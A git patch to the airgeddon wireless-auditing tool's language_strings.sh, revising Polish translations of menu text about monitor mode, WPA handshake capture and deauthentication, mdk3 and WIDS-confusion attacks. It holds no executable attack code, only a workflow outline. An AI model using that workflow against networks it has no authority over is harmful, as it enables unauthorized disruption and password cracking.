arr["RUSSIAN",127]="Естественный порядок работы в этом меню: 1-Выбрать wifi карту 2-Перевести её в режим монитора 3-Выбрать целевую сеть 4-Захватить рукопожатие" arr["GREEK",127]="Η σειρά εντολών για να προχωρήσετε σε αυτό το μενού είναι συνήθως: 1-Επιλέξτε κάρτα wifi 2-Βάλτε την σε κατάσταση παρακολούθησης 3-Επιλέξτε δίκτυο-στόχος 4-Καταγράψτε την Χειραψία" arr["ITALIAN",127]="L'ordine naturale per procedere in questo menú di solito è: 1-Seleziona la scheda wifi 2-Mettila in modalità monitor 3-Seleziona rete obiettivo 4-Cattura Handshake" - arr["POLISH",127]="${pending_of_translation} Naturalnym sposobem kontynuowania w tym menu jest zazwyczaj: 1-Wybierz kartę wifi 2-Włącz tryb monitora 3-Wybierz sieć docelową 4-Uchwyć Handshake" + arr["POLISH",127]="Naturalnym sposobem kontynuowania w tym menu jest zazwyczaj: 1-Wybierz kartę wifi 2-Włącz tryb monitorowania 3-Wybierz sieć docelową 4-Przechwyć Handshake" arr["ENGLISH",128]="Select a wifi card to work in order to be able to do more actions than with an ethernet interface" arr["SPANISH",128]="Selecciona una interfaz wifi para poder realizar más acciones que con una interfaz ethernet" @@ -1758,7 +1758,7 @@ function language_strings() { arr["RUSSIAN",128]="Выберите wifi карту для работы, чтобы вы могли выполнить больше действий, чем с ethernet интерфейсом" arr["GREEK",128]="Επιλέξτε κάρτα wifi ώστε να μπορείτε να έχετε περισσοτερες επιλογές από μία διεπαφή ethernet" arr["ITALIAN",128]="Seleziona un'interfaccia wifi per poter eseguire più azioni che con un interfaccia ethernet" - arr["POLISH",128]="${pending_of_translation} Wybierz interfejs wifi, aby wykonać więcej czynności niż z interfejsem sieci ethernet" + arr["POLISH",128]="Wybierz interfejs wifi, aby wykonać więcej czynności niż z interfejsem sieci ethernet" arr["ENGLISH",129]="The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Start attack" arr["SPANISH",129]="El orden natural para proceder en este menú suele ser: 1-Elige tarjeta wifi 2-Ponla en modo monitor 3-Elige red objetivo 4-Comienza el ataque" @@ -1768,7 +1768,7 @@ function language_strings() { arr["RUSSIAN",129]="Обычный порядок работы в этом меню: 1-Выберите wifi карту 2-Переведите её в режим монитора 3-Выберите целевую сеть 4-Запустите атаку" arr["GREEK",129]="Η διαδικασία για να προχωρήσετε σε αυτό το μενού είναι συνήθως: 1-Επιλέξτε κάρτα wifi 2-Βάλτε την σε κατάσταση παρακολούθησης 3-Επιλέξτε δίκτυο-στόχος 4-Ξεκινήστε την επίθεση" arr["ITALIAN",129]="L'ordine naturale per procedere in questo menú di solito è: 1-Seleziona la scheda wifi 2-Mettila in modalità monitor 3-Seleziona rete obiettivo 4-Inizia l'attacco" - arr["POLISH",129]="${pending_of_translation} Naturalnym sposobem działania w tym menu jest zazwyczaj: 1-Wybierz kartę wifi 2-Włącz tryb monitora 3-Wybierz sieć docelową 4-Początek ataku" + arr["POLISH",129]="Naturalnym sposobem działania w tym menu jest zazwyczaj: 1-Wybierz kartę wifi 2-Włącz tryb monitorowania 3-Wybierz sieć docelową 4-Rozpocznij ataku" arr["ENGLISH",130]="Remember to select a target network with clients to capture Handshake" arr["SPANISH",130]="Recuerda seleccionar una red objetivo con clientes para capturar el Handshake" @@ -1778,7 +1778,7 @@ function language_strings() { arr["RUSSIAN",130]="Не забудьте выбрать целевую сеть с клиентами для захвата рукопожатия" arr["GREEK",130]="Θυμηθείτε να επιλέξετε ένα δίκτυο-στόχος με έναν ή παραπάνω χρήστες για να καταγράψετε μία Χειραψία" arr["ITALIAN",130]="Ricorda di selezionare una rete di destinazione con clienti per poter catturare l'Handshake" - arr["POLISH",130]="${pending_of_translation} Pamiętaj, aby wybrać sieć docelową z klientami, aby uchwycić Handshake" + arr["POLISH",130]="W celu przechwycenia Handshake, pamiętaj aby wybrać sieć docelową z klientami" arr["ENGLISH",131]="Not all attacks affect all access points. If an attack is not working against an access point, choose another one :)" arr["SPANISH",131]="No todos los ataques afectan a todos los puntos de acceso. Si un ataque no funciona contra un punto de acceso, elige otro :)" @@ -1788,7 +1788,7 @@ function language_strings() { arr["RUSSIAN",131]="Не все атаки справляются со всеми точками доступа. Если атака не работает в отношении точки доступа, выберите другую :)" arr["GREEK",131]="Δεν είναι όλες οι επιθέσεις αποτελεσματικές σε όλα τα σημεία πρόσβασης. Αν μια επίθεση δεν δουλεύει ενάντια σε ένα σημείο πρόσβασης, διαλέξτε κάποια άλλη :)" arr["ITALIAN",131]="Non tutti gli attacchi funzionano su tutti gli access point. Se un attacco non funziona contro un access point, selezionane un altro :)" - arr["POLISH",131]="${pending_of_translation} Nie wszystkie ataki wpływają na wszystkie punkty dostępu. Jeśli atak nie działa przeciwko punktowi dostępowemu, wybierz inny :)" + arr["POLISH",131]="Nie wszystkie ataki działają na wszystkie punkty dostępu. Jeśli atak nie działa przeciwko któremuś punktowi dostępowemu, wybierz inny :)" arr["ENGLISH",132]="Cleaning a Handshake file is recommended only for big size files. It's better to have a backup, sometimes file can be corrupted while cleaning it" arr["SPANISH",132]="Limpiar un fichero de Handshake se recomienda solo para ficheros grandes. Es mejor hacer una copia de seguridad antes, a veces el fichero se puede corromper al limpiarlo" @@ -1798,7 +1798,7 @@ function language_strings() { arr["RUSSIAN",132]="Очистка файла рукопожатия рекомендована только для файлов больших размеров. Лучше иметь резервную копию, иногда во время очистки файл может быть повреждён" arr["GREEK",132]="Ο καθαρισμός ενός αρχείου Χειραψίας συνιστάται μόνο για μεγάλου μεγέθους αρχεία. Καλύτερα κρατήστε ένα backup, μερικές φορές το αρχείο μπορεί να καταστραφεί κατά τη διάρκεια του καθαρισμού" arr["ITALIAN",132]="Pulire un file di Handshake è consigliato solo per file di grandi dimensioni. Meglio fare un backup prima, a volte il file si può corrompere con la pulizia" - arr["POLISH",132]="${pending_of_translation} Usunięcie pliku Handshake jest zalecane tylko w przypadku dużych plików. Lepiej jest tworzyć kopie zapasowe, czasami plik może być uszkodzony podczas czyszczenia" + arr["POLISH",132]="Usunięcie pliku Handshake jest zalecane tylko w przypadku dużych plików. Lepiej jest zachować kopie zapasowe, czasami plik może być uszkodzony podczas czyszczenia" arr["ENGLISH",133]="If you select a target network with hidden ESSID, you can't use it, but you can perform BSSID based attacks to that network" arr["SPANISH",133]="Si seleccionas una red objetivo con el ESSID oculto, no podrás usarlo, pero puedes hacer ataques basados en BSSID sobre esa red" @@ -1808,7 +1808,7 @@ function language_strings() { arr["RUSSIAN",133]="Если вы выбрали целевую сеть со скрытым ESSID, вы не сможете использовать её, но вы можете выполнить атаку на эту сеть на основе BSSID" arr["GREEK",133]="Αν επιλέξετε ένα δίκτυο-στόχος με κρυφό ESSID, δεν μπορείτε να το χρησιμοποιήσετε, αλλά μπορείτε να εκτελέσετε επιθέσεις BSSID σε αυτό το δίκτυο" arr["ITALIAN",133]="Se si seleziona una rete obiettivo con ESSID nascosto, non potrai utilizzarla, peró puoi fare attacchi a questa rete basati sul BSSID" - arr["POLISH",133]="${pending_of_translation} Jeśli wybierzesz sieć docelową z ukrytym identyfikatorem ESSID, nie będziesz w stanie jej używać, ale możesz atakować w oparciu o BSSID w tej sieci" + arr["POLISH",133]="Jeśli wybierzesz sieć docelową z ukrytym identyfikatorem ESSID, nie będziesz w stanie jej używać, ale możesz atakować tą sieć w oparciu o BSSID" arr["ENGLISH",134]="If your Linux is a virtual machine, it is possible that integrated wifi cards are detected as ethernet. Use an external usb wifi card" arr["SPANISH",134]="Si tu Linux es una máquina virtual, es posible que las tarjetas wifi integradas sean detectadas como ethernet. Utiliza una tarjeta wifi externa usb" @@ -1818,7 +1818,7 @@ function language_strings() { arr["RUSSIAN",134]="Если ваш Linux в виртуально машине, то интегрированная wifi карта может определиться как Ethernet. Используйте внешнюю usb wifi карту" arr["GREEK",134]="Αν το Linux σας είναι εικονική μηχανή, είναι πιθανόν οι ενσωματωμένες κάρτες wifi να εντοπιστούν σαν ethernet. Χρησιμοποιήστε μία εξωτερική usb κάρτα wifi" arr["ITALIAN",134]="Se il tuo Linux è una macchina virtuale, è possibile che le schede wireless integrate vengono rilevate come ethernet. Utilizza una scheda usb WiFi esterna" - arr["POLISH",134]="${pending_of_translation} Jeśli Linux jest maszyną wirtualną, możliwe jest, że zintegrowane karty wifi są wykrywane jako ethernet. Używa zewnętrznej karty usb" + arr["POLISH",134]="Jeśli twój Linux jest maszyną wirtualną, możliwe jest, że zintegrowane karty wifi są wykrywane jako ethernet. Użyj zewnętrznej karty usb" arr["ENGLISH",135]="Type of encryption: ${pink_color}${enc}${normal_color}" arr["SPANISH",135]="Tipo de encriptado: ${pink_color}${enc}${normal_color}" @@ -1828,7 +1828,7 @@ function language_strings() { arr["RUSSIAN",135]="Тип шифрования: ${pink_color}${enc}${normal_color}" arr["GREEK",135]="Τύπος κρυπτογράφησης: ${pink_color}${enc}${normal_color}" arr["ITALIAN",135]="Tipo di crittografia: ${pink_color}${enc}${normal_color}" - arr["POLISH",135]="${pending_of_translation} Typ szyfrowania: ${pink_color}${enc}${normal_color}" + arr["POLISH",135]="Typ szyfrowania: ${pink_color}${enc}${normal_color}" arr["ENGLISH",136]="Obtaining a Handshake is only for networks with encryption WPA or WPA2" arr["SPANISH",136]="La obtención de un Handshake es solo para redes con encriptación WPA o WPA2" @@ -1838,7 +1838,7 @@ function language_strings() { arr["RUSSIAN",136]="Получение рукопожатия только для сетей с шифрованием WPA или WPA2" arr["GREEK",136]="Η απόκτηση μιας Χειραψίας ισχύει μόνο σε δίκτυα με κρυπτογράφηση WPA ή WPA2" arr["ITALIAN",136]="Ottenere un Handshake è possibile solo per le reti con crittografia WPA o WPA2" - arr["POLISH",136]="${pending_of_translation} Uzyskiwanie uzgadniania dotyczy tylko sieci z szyfrowaniem WPA lub WPA2" + arr["POLISH",136]="Przechwytywanie Handshake dotyczy tylko sieci z szyfrowaniem WPA lub WPA2" arr["ENGLISH",137]="The selected network is invalid. To get a Handshake, encryption type of target network should be WPA or WPA2" arr["SPANISH",137]="La red seleccionada no es válida. Para obtener un Handshake, el tipo de encriptación de la red objetivo debe ser WPA o WPA2" @@ -1848,7 +1848,7 @@ function language_strings() { arr["RUSSIAN",137]="Выбранная сеть не подходит. Для получения рукопожатия, тип шифрования должен быть WPA или WPA2" arr["GREEK",137]="Το επιλεγμένο δίκτυο είναι άκυρο. Για να αποκτήσετε μία Χειραψία, ο τύπος κρυπτογράφησης του δικτύου-στόχου πρέπει να έιναι WPA ή WPA2" arr["ITALIAN",137]="La rete selezionata non è valida. Per ottenere un Handshake, il tipo di crittografia della rete obiettivo deve essere WPA o WPA2" - arr["POLISH",137]="${pending_of_translation} Wybrana sieć nie jest prawidłowa. Aby uzyskać uzgadnianie, typem szyfrowania sieci docelowej musi być WPA lub WPA2" + arr["POLISH",137]="Wybrana sieć jest nieprawidłowa. Aby przechwycić Handshake, typem szyfrowania sieci docelowej musi być WPA lub WPA2" arr["ENGLISH",138]="Attack for Handshake" arr["SPANISH",138]="Ataque para Handshake" @@ -1858,7 +1858,7 @@ function language_strings() { arr["RUSSIAN",138]="Атаковать для рукопожатия" arr["GREEK",138]="Επίθεση για Χειραψία" arr["ITALIAN",138]="Attacco per Handshake" - arr["POLISH",138]="${pending_of_translation} Atak na Handshake" + arr["POLISH",138]="Atak na Handshake" arr["ENGLISH",139]="1. Deauth / disassoc amok mdk3 attack" arr["SPANISH",139]="1. Ataque Deauth / Disassoc amok mdk3" @@ -1868,7 +1868,7 @@ function language_strings() { arr["RUSSIAN",139]="1. Атака деаутентификации / разъединения amok mdk3" arr["GREEK",139]="1. Επίθεση Deauth / disassoc amok mdk3" arr["ITALIAN",139]="1. Attacco Deauth / Disassoc amok mdk3" - arr["POLISH",139]="${pending_of_translation} 1. Atak Deauth / Disassoc amok mdk3" + arr["POLISH",139]="1. Atak Deauth / Disassoc amok mdk3" arr["ENGLISH",140]="2. Deauth aireplay attack" arr["SPANISH",140]="2. Ataque Deauth aireplay" @@ -1878,7 +1878,7 @@ function language_strings() { arr["RUSSIAN",140]="2. Атака деаутентификации aireplay" arr["GREEK",140]="2. Επίθεση Deauth aireplay" arr["ITALIAN",140]="2. Attacco Deauth aireplay" - arr["POLISH",140]="${pending_of_translation} 2. Atak Deauth aireplay" + arr["POLISH",140]="2. Atak Deauth aireplay" arr["ENGLISH",141]="3. WIDS / WIPS / WDS Confusion attack" arr["SPANISH",141]="3. Ataque WIDS / WIPS / WDS Confusion" @@ -1888,7 +1888,7 @@ function language_strings() { arr["RUSSIAN",141]="3. Атака смешения WIDS / WIPS / WDS" arr["GREEK",141]="3. Επίθεση σύγχυσης WIDS / WIPS / WDS" arr["ITALIAN",141]="3. Attacco WIDS / WIPS / WDS Confusion" - arr["POLISH",141]="${pending_of_translation} 3. Ataki WIDS / WIPS / WDS Zamieszanie" + arr["POLISH",141]="3. Atak WIDS / WIPS / WDS Confusion" arr["ENGLISH",142]="If the Handshake doesn't appear after an attack, try again or change the type of attack" arr["SPANISH",142]="Si tras un ataque el Handshake no aparece, vuelve a intentarlo o cambia de ataque hasta conseguirlo" @@ -1898,7 +1898,7 @@ function language_strings() { arr["RUSSIAN",142]="Если рукопожатие не появилось после атаки, попробуйте снова или измените тип атаки" arr["GREEK",142]="Αν η Χειραψία δεν εμφανιστεί μετά από την επίθεση, προσπαθήστε ξανά ή αλλάξτε τύπο επίθεσης" arr["ITALIAN",142]=" Se dopo un attacco non compare l'Handshake, prova di nuovo o cambia attacco fino ad ottenerlo" - arr["POLISH",142]="${pending_of_translation} Jeśli po ataku Handshake nie pojawi się, spróbuj ponownie lub zmień atak, dopóki nie otrzymasz tego" + arr["POLISH",142]="Jeśli po ataku nie pojawi się Handshake, spróbuj ponownie lub zmień atak" arr["ENGLISH",143]="Two windows will be opened. One with the Handshake capturer and other with the attack to force clients to reconnect" arr["SPANISH",143]="Se abrirán dos ventanas. Una con el capturador del Handshake y otra con el ataque para expulsar a los clientes y forzarles a reconectar" @@ -1908,7 +1908,7 @@ function language_strings() { arr["RUSSIAN",143]="Будут открыты два окна. Одно с захватчиком рукопожатия, а другое с атакой для принудительного переподключения клиентов" arr["GREEK",143]="Θα ανοίξουν δύο παράθυρα. Ένα με τον καταγραφέα Χειραψίας, και ένα με την επίθεση εξαναγκασμένης επανασύνδεσης των χρηστών" arr["ITALIAN",143]="Si apriranno due finestre. Una con il catturatore dell'Handshake, l'altra con l'attacco per cacciare i clienti e costringerli a riconnettersi" - arr["POLISH",143]="${pending_of_translation} Otwierają się dwa okna. Jedna z grabberem Handshake, a druga atakiem, aby wyrzucić klientów i zmusić ich do ponownego połączenia" + arr["POLISH",143]="Otworzą się dwa okna. Jedna z przechwytywaczem Handshake, a druga z atakiem, zmuszającym klientów ich do ponownego połączenia" arr["ENGLISH",144]="Don't close any window manually, script will do when needed. In about 20 seconds maximum you'll know if you've got the Handshake" arr["SPANISH",144]="No cierres manualmente ninguna ventana, el script lo hará cuando proceda. En unos 20 segundos como máximo sabrás si conseguiste el Handshake" @@ -1918,7 +1918,7 @@ function language_strings() { arr["RUSSIAN",144]="Не закрывайте вручную какое-либо окно, скрипт сделает это когда нужно. Примерно в максимум 20 секунд вы узнаете, получили ли вы рукопожатие" arr["GREEK",144]="Μην επιχειρήσετε το κλείσιμο κάποιου παραθύρου χειροκίνητα, εάν χρειαστεί το script θα το κάνει μόνο του. Σε περίπου 20 δευτερόλεπτα το μέγιστο θα μάθετε αν αποκτήσατε την Χειραψία" arr["ITALIAN",144]="Non chiudere nessuna finestra manualmente, lo script lo fará cuando necessario. In 20 secondi al massimo scoprirai se hai catturato l'Handshake" - arr["POLISH",144]="${pending_of_translation} Nie należy ręcznie zamykać okien, skrypt wykona to w stosownych przypadkach. W ciągu co najwyżej 20 sekund dowiesz się, czy masz Handshake" + arr["POLISH",144]="Nie należy ręcznie zamykać okien, skrypt to zrobi w razie potrzeby. W ciągu co najwyżej 20 sekund dowiesz się, czy masz Handshake" arr["ENGLISH",145]="Did you get the Handshake? ${pink_color}(Look at the top right corner of the capture window) ${normal_color}${visual_choice}" arr["SPANISH",145]="¿Conseguiste el Handshake? ${pink_color}(Mira en la parte superior derecha de la ventana de captura) ${normal_color}${visual_choice}" @@ -1928,7 +1928,7 @@ function language_strings() { arr["RUSSIAN",145]="Вы получили рукопожатие? ${pink_color}(Смотрите на верхний правый угол окна захвата) ${normal_color}${visual_choice}" arr["GREEK",145]="Πήρατε την Χειραψία; ${pink_color}(Κοιτάξτε στη πάνω δεξιά γωνία του παραθύρου) ${normal_color}${visual_choice}" arr["ITALIAN",145]="Hai catturato l'Handshake? ${pink_color}(Guarda nell'angolo in alto a destra della finestra di cattura) ${normal_color}${visual_choice}" - arr["POLISH",145]="${pending_of_translation} Czy dostałeś Handshake? ${pink_color}(Spójrz w prawym górnym rogu okna przechwytywania) ${normal_color}${visual_choice}" + arr["POLISH",145]="Czy dostałeś Handshake? ${pink_color}(Spójrz w prawym górnym rogu okna przechwytywania) ${normal_color}${visual_choice}" arr["ENGLISH",146]="It seems we failed... try it again or choose another attack" arr["SPANISH",146]="Parece que no lo hemos conseguido... inténtalo de nuevo o elige otro ataque" @@ -1938,7 +1938,7 @@ function language_strings() { arr["RUSSIAN",146]="Кажется мы потерпели неудачу... попробуйте снова или выберите другую атаку" arr["GREEK",146]="Φαίνεται πως αποτύχαμε... προσπαθήστε ξανά ή επιλέξτε άλλη επίθεση" arr["ITALIAN",146]="Sembra che abbiamo fallito... riprovare o scegliere un altro attacco" - arr["POLISH",146]="${pending_of_translation} Wygląda na to, że nie dostaliśmy tego... spróbuj ponownie lub wybierz kolejny atak" + arr["POLISH",146]="Wygląda na to, że się nie udało... spróbuj ponownie lub wybierz inny atak" arr["ENGLISH",147]="4. Return to Handshake tools menu" arr["SPANISH",147]="4. Volver al menú de herramientas Handshake" @@ -1948,7 +1948,7 @@ function language_strings() { arr["RUSSIAN",147]="4. Возврат в меню инструментов для работы с рукопожатием" arr["GREEK",147]="4. Επιστροφή στο μενού με τα εργαλεία Χειραψίας" arr["ITALIAN",147]="4. Torna al menu degli strumenti dell'Handshake" - arr["POLISH",147]="${pending_of_translation} 4. Wróć do menu narzędzi Handshake" + arr["POLISH",147]="4. Wróć do menu narzędzi Handshake" arr["ENGLISH",148]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${handshakepath}]" arr["SPANISH",148]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${handshakepath}]" @@ -1958,7 +1958,7 @@ function language_strings() { arr["RUSSIAN",148]="Напечатайте путь, по которому сохранить файл или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${handshakepath}]" arr["GREEK",148]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${handshakepath}]" arr["ITALIAN",148]="Scrivere il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default ${normal_color}[${handshakepath}]" - arr["POLISH",148]="${pending_of_translation} Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję ${normal_color}[${handshakepath}]" + arr["POLISH",148]="Wpisz ścieżkę do zapisywania plików lub naciśnij [Enter], aby zaakceptować domyślną propozycję ${normal_color}[${handshakepath}]" arr["ENGLISH",149]="Handshake file generated successfully at [${normal_color}${enteredpath}${blue_color}]" arr["SPANISH",149]="Fichero de Handshake generado con éxito en [${normal_color}${enteredpath}${blue_color}]" @@ -1968,7 +1968,7 @@ function language_strings() { arr["RUSSIAN",149]="Файл рукопожатия успешно создан в [${normal_color}${enteredpath}${blue_color}]" arr["GREEK",149]="Το αρχείο Χειραψίας δημιουργήθηκε επιτυχώς στο [${normal_color}${enteredpath}${blue_color}]" arr["ITALIAN",149]="Handshake del file generato con successo in [${normal_color}${enteredpath}${blue_color}]" - arr["POLISH",149]="${pending_of_translation} Plik uzgadniania został pomyślnie wygenerowany w [${normal_color}${enteredpath}${blue_color}]" + arr["POLISH",149]="Plik Handshake został pomyślnie wygenerowany w [${normal_color}${enteredpath}${blue_color}]" arr["ENGLISH",150]="No captured Handshake file detected during this session..." arr["SPANISH",150]="No se ha detectado ningún fichero de Handshake capturado en esta sesión..." @@ -1978,7 +1978,7 @@ function language_strings() { arr["RUSSIAN",150]="За эту сессию не обнаружено захваченного рукопожатия..." arr["GREEK",150]="Δεν εντοπίστηκε κάποιο αρχείο καταγραφής Χειραψίας κατά τη διάρκεια της συνεδρίας..." arr["ITALIAN",150]="Non è stato trovato nessun file di Handshake catturato in questa sessione..." - arr["POLISH",150]="${pending_of_translation} Nie wykryto pliku Handshake przechwyconego w tej sesji..." + arr["POLISH",150]="Nie wykryto pliku Handshake przechwyconego w tej sesji..." arr["ENGLISH",151]="Handshake captured file detected during this session [${normal_color}${enteredpath}${blue_color}]" arr["SPANISH",151]="Se ha detectado un fichero de Handshake capturado en esta sesión [${normal_color}${enteredpath}${blue_color}]" From 7f7d42bec82ff197662ec36cb8497e1c1b1b7ddb Mon Sep 17 00:00:00 2001 From: dodg3rmaq <33019262+dodg3rmaq@users.noreply.github.com> Date: Sun, 19 Nov 2017 20:49:37 +0100 Subject: [PATCH 62/70] Update language_strings.sh --- language_strings.sh | 130 ++++++++++++++++++++++---------------------- 1 file changed, 65 insertions(+), 65 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 479a89338..54ba4802c 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -1988,7 +1988,7 @@ function language_strings() { arr["RUSSIAN",151]="В этой сессии обнаружен файл с захваченным рукопожатием [${normal_color}${enteredpath}${blue_color}]" arr["GREEK",151]="Εντοπίστηκε αρχείο καταγραφής Χειραψίας κατά τη διάρκεια της συνεδρίας [${normal_color}${enteredpath}${blue_color}]" arr["ITALIAN",151]="Trovato un file di Handshake catturato in questa sessione [${normal_color}${enteredpath}${blue_color}]" - arr["POLISH",151]="${pending_of_translation} W tej sesji został wykryty plik Handshake [${normal_color}${enteredpath}${blue_color}]" + arr["POLISH",151]="Plik Handshake został przechwycony w tej sesji został [${normal_color}${enteredpath}${blue_color}]" arr["ENGLISH",152]="Do you want to clean/optimize the Handshake captured file during this session? ${normal_color}${visual_choice}" arr["SPANISH",152]="¿Quieres limpiar/optimizar el fichero de Handshake capturado en esta sesión? ${normal_color}${visual_choice}" @@ -1998,7 +1998,7 @@ function language_strings() { arr["RUSSIAN",152]="Вы хотите очистить/оптимизировать захваченный за эту сессию файл рукопожания? ${normal_color}${visual_choice}" arr["GREEK",152]="Θέλετε να καθαρίσετε/βελτιστοποιήσετε το αρχείο καταγραφής Χειραψίας της συνεδρίας; ${normal_color}${visual_choice}" arr["ITALIAN",152]="Vuoi pulire/ottimizzare il file di Handshake catturato in questa sessione? ${normal_color}${visual_choice}" - arr["POLISH",152]="${pending_of_translation} Czy chcesz wyczyścić/zoptymalizować plik Handshake przechwycony w tej sesji? ${normal_color}${visual_choice}" + arr["POLISH",152]="Czy chcesz wyczyścić/zoptymalizować plik Handshake przechwycony w tej sesji? ${normal_color}${visual_choice}" arr["ENGLISH",153]="File cleaned/optimized successfully" arr["SPANISH",153]="Fichero limpiado/optimizado con éxito" @@ -2008,7 +2008,7 @@ function language_strings() { arr["RUSSIAN",153]="Файл успешно очищен/оптимизирован" arr["GREEK",153]="Το αρχείο καθαρίστηκε/βελτιστοποιήθηκε επιτυχώς" arr["ITALIAN",153]="File pulito/ottimizzato con successo" - arr["POLISH",153]="${pending_of_translation} Pomyślnie wyczyszczony/zoptymalizowany plik" + arr["POLISH",153]="Plik pomyślnie wyczyszczony/zoptymalizowany" arr["ENGLISH",154]="Set path to file :" arr["SPANISH",154]="Introduce la ruta al fichero :" @@ -2018,7 +2018,7 @@ function language_strings() { arr["RUSSIAN",154]="Установить путь до файла :" arr["GREEK",154]="Θέστε μονοπάτι για το αρχείο :" arr["ITALIAN",154]="Introdurre il percorso del file :" - arr["POLISH",154]="${pending_of_translation} Wprowadź ścieżkę do pliku :" + arr["POLISH",154]="Wprowadź ścieżkę do pliku :" arr["ENGLISH",155]="The directory exists but you didn't specify filename. It will be autogenerated [${normal_color}${suggested_filename}${yellow_color}]" arr["SPANISH",155]="El directorio existe pero no se especificó nombre de fichero. Se autogenerará [${normal_color}${suggested_filename}${yellow_color}]" @@ -2028,7 +2028,7 @@ function language_strings() { arr["RUSSIAN",155]="Директория существует, но вы не указали имя файла. Оно будет сгенерировано автоматически [${normal_color}${suggested_filename}${yellow_color}]" arr["GREEK",155]="Ο κατάλογος υπάρχει αλλά δεν έχετε προσδιορίσει το όνομα του αρχείου [${normal_color}${suggested_filename}${yellow_color}]" arr["ITALIAN",155]="La directory esiste, peró non è stato specificato il nome del file. Sarà generato automaticamente [${normal_color}${suggested_filename}${yellow_color}]" - arr["POLISH",155]="${pending_of_translation} Katalog istnieje, ale nie określono nazwy pliku. To będzie samo-generować [${normal_color}${suggested_filename}${yellow_color}]" + arr["POLISH",155]="Katalog istnieje, ale nie określono nazwy pliku. Zostanie ona wygenerowana automatycznie [${normal_color}${suggested_filename}${yellow_color}]" arr["ENGLISH",156]="Directory not exists" arr["SPANISH",156]="El directorio no existe" @@ -2038,7 +2038,7 @@ function language_strings() { arr["RUSSIAN",156]="Директория не существует" arr["GREEK",156]="Ο κατάλογος δεν υπάρχει" arr["ITALIAN",156]="La directory non esiste" - arr["POLISH",156]="${pending_of_translation} Katalog nie istnieje" + arr["POLISH",156]="Katalog nie istnieje" arr["ENGLISH",157]="The path exists but you don't have write permissions" arr["SPANISH",157]="La ruta existe pero no tienes permisos de escritura" @@ -2048,7 +2048,7 @@ function language_strings() { arr["RUSSIAN",157]="Путь существует, но у вас нет прав на запись" arr["GREEK",157]="Το μονοπάτι υπάρχει, αλλά δεν έχετε δικαιώματα εγγραφής" arr["ITALIAN",157]="Il percorso esiste, ma non si dispone dei permessi di scrittura" - arr["POLISH",157]="${pending_of_translation} Ścieżka istnieje, ale nie masz uprawnień do zapisu" + arr["POLISH",157]="Ścieżka istnieje, ale nie masz uprawnień do zapisu" arr["ENGLISH",158]="The path is valid and you have write permissions. Script can continue..." arr["SPANISH",158]="La ruta es válida y tienes permisos de escritura. El script puede continuar..." @@ -2058,7 +2058,7 @@ function language_strings() { arr["RUSSIAN",158]="Путь существует и у вас есть права на запись. Скрипт может продолжить..." arr["GREEK",158]="Το μονοπάτι είναι έγκυρο και έχετε δικαιώματα εγγραφής. Το script μπορεί να συνεχίσει..." arr["ITALIAN",158]="Il percorso è valido e si dispone di permessi di scrittura. Lo script può continuare..." - arr["POLISH",158]="${pending_of_translation} Ścieżka jest poprawna i masz uprawnienia do zapisu. Skrypt może kontynuować..." + arr["POLISH",158]="Ścieżka jest poprawna i masz uprawnienia do zapisu. Skrypt może kontynuować..." arr["ENGLISH",159]="The file doesn't need to be cleaned/optimized" arr["SPANISH",159]="El fichero no necesita ser limpiado/optimizado" @@ -2068,7 +2068,7 @@ function language_strings() { arr["RUSSIAN",159]="Файлу не требуется очистка/оптимизация" arr["GREEK",159]="Το αρχείο δεν χρειάζεται να καθαριστεί/βελτιστοποιηθεί" arr["ITALIAN",159]="Il file non ha bisogno di essere pulito/ottimizzato" - arr["POLISH",159]="${pending_of_translation} " + arr["POLISH",159]="Nie ma potrzeby wyczyszczenia/zoptymalizowania tego pliku" arr["ENGLISH",160]="No tasks to perform on exit" arr["SPANISH",160]="No hay que realizar ninguna tarea a la salida" @@ -2078,7 +2078,7 @@ function language_strings() { arr["RUSSIAN",160]="Нет задач для выполнения перед выходом" arr["GREEK",160]="Δεν απομένει κάποιο task για να εκτελεστεί στην έξοδο" arr["ITALIAN",160]="Non bisogna fare niente dopo l'uscita dello script" - arr["POLISH",160]="${pending_of_translation} Plik nie musi być czyszczony/zoptymalizowany" + arr["POLISH",160]="Plik nie musi być wczyszczony/zoptymalizowany" arr["ENGLISH",161]="File not exists" arr["SPANISH",161]="El fichero no existe" @@ -2088,7 +2088,7 @@ function language_strings() { arr["RUSSIAN",161]="Файл не существует" arr["GREEK",161]="Το αρχείο δεν υπάρχει" arr["ITALIAN",161]="Il file non esiste" - arr["POLISH",161]="${pending_of_translation} Plik nie istnieje" + arr["POLISH",161]="Plik nie istnieje" arr["ENGLISH",162]="Congratulations!!" arr["SPANISH",162]="Enhorabuena!!" @@ -2098,7 +2098,7 @@ function language_strings() { arr["RUSSIAN",162]="Поздравления!!" arr["GREEK",162]="Συγχαρητήρια!!" arr["ITALIAN",162]="Congratulazioni!!" - arr["POLISH",162]="${pending_of_translation} Gratulacje!!" + arr["POLISH",162]="Gratulacje!!" arr["ENGLISH",163]="When airgeddon requests you to enter a path to a file either to use a dictionary, a Handshake or anything else, did you know that you can drag and drop the file over the airgeddon window? In this way you don't have to type the path manually" arr["SPANISH",163]="Cuando airgeddon solicita que introduzcas una ruta a un fichero ya sea para utilizar un diccionario, un Handshake o cualquier otra cosa, ¿sabías que puedes arrastrar y soltar el fichero sobre la ventana de airgeddon? Así no tendrás que escribir la ruta manualmente" @@ -2108,7 +2108,7 @@ function language_strings() { arr["RUSSIAN",163]="Когда airgeddon просит вас ввести путь до файла, будь то словарь, рукопожатие или что-то ещё, знаете ли вы, что можно захватить этот файл мышкой, перетащить и бросить этот файл прямо в окно airgeddon? Таким образом вам не придётся вводить путь до файла вручную" arr["GREEK",163]="Γνωρίζατε ότι μπορείτε να εισάγετε μονοπάτι για κάποιο αρχείο είτε για να χρησιμοποιήσετε λεξικό, αρχείο Χειραψίας ή οτιδήποτε άλλο, κάνοντας Drag & Drop το αρχείο αυτό στο παράθυρο του airgeddon; Με αυτόν τον τρόπο δεν 